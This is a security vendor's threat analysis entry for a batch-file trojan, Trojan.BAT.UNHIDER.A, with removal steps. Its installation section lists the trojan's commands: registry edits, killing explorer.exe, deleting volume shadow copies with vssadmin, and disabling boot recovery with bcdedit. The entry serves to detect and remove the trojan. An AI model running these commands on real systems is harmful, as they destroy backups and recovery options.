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Trojan.BAT.UNHIDER.A

April 04, 2023
 Analysis by: Ricardo III Valdez
 ALIASES:

Gen:Heur.Mint.SP.Cleaner.2 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

752 bytes

File Type:

BAT

Memory Resident:

No

Initial Samples Received Date:

03 Apr 2023

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V Hidden /T REG_WORD /D 1 /F
  • REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V ShowSuperHidden /T REG_WORD /D 1 /F
  • vssadmin delete shadows /all
  • taskkill /f /im explorer.exe
  • explorer.exe
  • cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Other System Modifications

This Trojan modifies the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
Hidden = 1

(Note: The default value data of the said registry entry is 2.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
ShowSuperHidden = 1

(Note: The default value data of the said registry entry is 0.)

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • explorer.exe

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.362.05

FIRST VSAPI PATTERN DATE:

04 Apr 2023

VSAPI OPR PATTERN File:

18.363.00

VSAPI OPR PATTERN Date:

05 Apr 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • Hidden = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • ShowSuperHidden = 1

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.UNHIDER.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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